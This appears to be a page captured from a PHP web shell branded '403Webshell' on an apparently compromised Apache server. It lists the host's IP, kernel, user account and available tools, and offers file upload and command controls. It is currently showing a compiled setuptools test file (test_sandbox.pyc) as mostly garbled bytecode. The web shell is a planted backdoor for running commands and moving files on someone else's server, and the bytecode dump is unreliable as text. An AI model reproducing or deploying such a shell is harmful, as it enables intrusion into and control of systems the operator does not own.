403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_sandbox.cpython-313.pyc
�

�h���X�SrSSKrSSKrSSKrSSKrSSKr"SS5r"SS5rg)z
develop tests�Nc�6�\rSrSrSr\S5rSrSrSr	g)�TestSandbox�c���[RR[U55 UR	[
R5 SSS5 g!,(df   g=f�N)�
setuptools�sandbox�DirectorySandbox�str�_file_writer�os�devnull)�self�tmpdirs  �?/usr/lib/python3/dist-packages/setuptools/tests/test_sandbox.py�test_devnull�TestSandbox.test_devnull
s8��
�
�
�
0�
0��V��
=����b�j�j�)�>�
=�
=�s� A�
A c�^�U4SjnU$)Nc�r>�[TSSS9nURS5 SSS5 g!,(df   g=f)N�w�utf-8��encoding�xxx)�open�write)�f�paths �r�do_write�*TestSandbox._file_writer.<locals>.do_writes(����d�C�'�2�a������3�2�2�s�(�
6�)rrs` rr�TestSandbox._file_writers���	���c���[R"[S5n[R"S5n[
RRU[U55 URS:Xdeg)zD
It should be possible to execute a setup.py with a Byte Order Mark
zscript-with-bom.py�	namespace�passedN)
�
pkg_resources�resource_filename�__name__�types�
ModuleTyperr	�	_execfile�vars�result)r�targetr%s   r�test_setup_py_with_BOM�"TestSandbox.test_setup_py_with_BOMsU���0�0��;O�P���$�$�[�1�	����$�$�V�T�)�_�=����8�+�+�+r#c���US-nURS5nURS5 SSS5 [RR	[U5[
55 g!,(df   N@=f)Nzsetup.py�wbs"degenerate script"
)rrrr	r,r�globals)rr�setup_py�streams    r�test_setup_py_with_CRLF�#TestSandbox.test_setup_py_with_CRLF"sQ���J�&��
�]�]�4�
 �F��L�L�3�4�!����$�$�S��]�G�I�>�!�
 �s�A#�#
A1r!N)
r)�
__module__�__qualname__�__firstlineno__r�staticmethodrr0r7�__static_attributes__r!r#rrrs%��*�����,�?r#rc�>�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�TestExceptionSaver�)c�x�[RR5 [S5e!,(df   g=f�N�details)rr	�ExceptionSaver�
ValueError�rs r�test_exception_trapped�)TestExceptionSaver.test_exception_trapped*s(��
�
�
�
.�
.�
0��Y�'�'�1�
0�s�+�
9c�|�[RR5n[S5e!,(df   O=f[R
"[5nWR
5 SSS5 O!,(df   O=f[WR[5(de[UR5S:XdegrB)
rr	rDrE�pytest�raises�resume�
isinstance�valuer)r�	saved_exc�caughts   r�test_exception_resumed�)TestExceptionSaver.test_exception_resumed.s���
�
�
�
.�
.�
0�I��Y�'�'�1�
0���]�]�:�
&�&�����'�
&�
&���&�,�,�
�3�3�3�3��6�<�<� �I�-�-�-s�+�
9�A0�0
A>c�l�[S5n[RR5nUe!,(df   O=f[R
"[5nWR
5 SSS5 O!,(df   O=f[WR[5(deURULdegrB)	rErr	rDrJrKrLrMrN)r�orig_excrOrPs    r�test_exception_reconstructed�/TestExceptionSaver.test_exception_reconstructed8s����i�(��
�
�
�
.�
.�
0�I��N�1�
0���]�]�:�
&�&�����'�
&�
&���&�,�,�
�3�3�3�3��|�|�8�+�+�+s�-�
;�A2�2
Bc��[RR5nSSS5 WR5 g!,(df   N=fr)rr	rDrL)rrOs  r� test_no_exception_passes_quietly�3TestExceptionSaver.test_no_exception_passes_quietlyDs5��
�
�
�
.�
.�
0�I��1�	����1�
0�s	�:�
Ac�z�"SS[5n[RR5nU"S5e!,(df   O=f[R
"[RR5nWR5 SSS5 O!,(df   O=f[WR5S:Xdeg)Nc�&�\rSrSrSrS\4SjrSrg)�FTestExceptionSaver.test_unpickleable_exception.<locals>.CantPickleThis�Kz:This Exception is unpickleable because it's not in globals�returnc�"�SUR<3$)N�CantPickleThis)�argsrFs r�__repr__�OTestExceptionSaver.test_unpickleable_exception.<locals>.CantPickleThis.__repr__Ns��'��	�	�}�5�5r#r!N)r)r9r:r;�__doc__rrbr=r!r#rr`r\Ks��H�
6�#�
6r#r`�detailzCantPickleThis('detail',))
�	Exceptionrr	rDrJrK�UnpickleableExceptionrLrrN)rr`rOrPs    r�test_unpickleable_exception�.TestExceptionSaver.test_unpickleable_exceptionJs���	6�Y�	6��
�
�
.�
.�
0�I� ��*�*�1�
0���]�]�:�-�-�C�C�
D������E�
D�
D���6�<�<� �$?�?�?�?s�	7�
A�6B�
Bc��"SS[5n[R"[RR
5n[RR
5 [RR5 Ue!,(df   O=fSSS5 O!,(df   O=fWRRunUS:Xdeg)z�
As revealed in #440, an infinite recursion can occur if an unpickleable
exception while setuptools is hidden. Ensure this doesn't happen.
c��\rSrSrSrSrg)�aTestExceptionSaver.test_unpickleable_exception_when_hiding_setuptools.<locals>.ExceptionUnderTest�_z-
An unpickleable exception (not in globals).
r!N)r)r9r:r;rdr=r!r#r�ExceptionUnderTestrl_s��
r#rnNzExceptionUnderTest())
rfrJrKrr	rg�save_modules�hide_setuptoolsrNra)rrnrP�msgs    r�2test_unpickleable_exception_when_hiding_setuptools�ETestExceptionSaver.test_unpickleable_exception_when_hiding_setuptoolsYs���	��	�
�]�]�:�-�-�C�C�
D���#�#�0�0�2��"�"�2�2�4�(�(�3�2��2�E�
D�
D��
���"�"����,�,�,�,s�B�!A>�>
B	�B�
B'c��Sn[R"[RR5n[RR5 [RR
5 [RR[U55 U"5 SSS5 SSS5 SSS5 WRRupEnUS:XdeUS:XdeUSS0:Xde[UR5nSU;deSU;deSU;deg!,(df   N=f!,(df   N�=f!,(df   N�=f)	z�
When in a sandbox with setuptools hidden, a SandboxViolation
should reflect a proper exception and not be wrapped in
an UnpickleableException.
c�P�[SSSS9 SSS5 g!,(df   g=f)z9Trigger a SandboxViolation by writing outside the sandbox�/etc/foorrrN)rr!r#r�
write_file�VTestExceptionSaver.test_sandbox_violation_raised_hiding_setuptools.<locals>.write_filess���j�#��8��9�8�8�s��
%Nr)rvrrrz('/etc/foo', 'w')z{'encoding': 'utf-8'})rJrKrr	�SandboxViolationrorpr
rrNra)rrrwrP�cmdra�kwargsrqs        r�/test_sandbox_violation_raised_hiding_setuptools�BTestExceptionSaver.test_sandbox_violation_raised_hiding_setuptoolsls��	�
�]�]�:�-�-�>�>�
?�6��#�#�0�0�2��"�"�2�2�4��'�'�8�8��V��E��L�F�3�@�#�L�L�-�-���6��f�}��}��(�(�(�(��*�g�.�.�.�.��&�,�,�����}��}�"�c�)�)�)�&�#�-�-�-�F�E��3�2��@�
?�s<�D;�AD*�D� D*�(D;�
D'�#D*�*
D8	�4D;�;
E	r!N)r)r9r:r;rGrQrUrXrhrrr|r=r!r#rr?r?)s&��(�.�
,��
@�-�&.r#r?)	rdr
r*rJr'�setuptools.sandboxrrr?r!r#r�<module>rs-���	��
���?�?�:].�].r#

Youez - 2016 - github.com/yon3zu
LinuXploit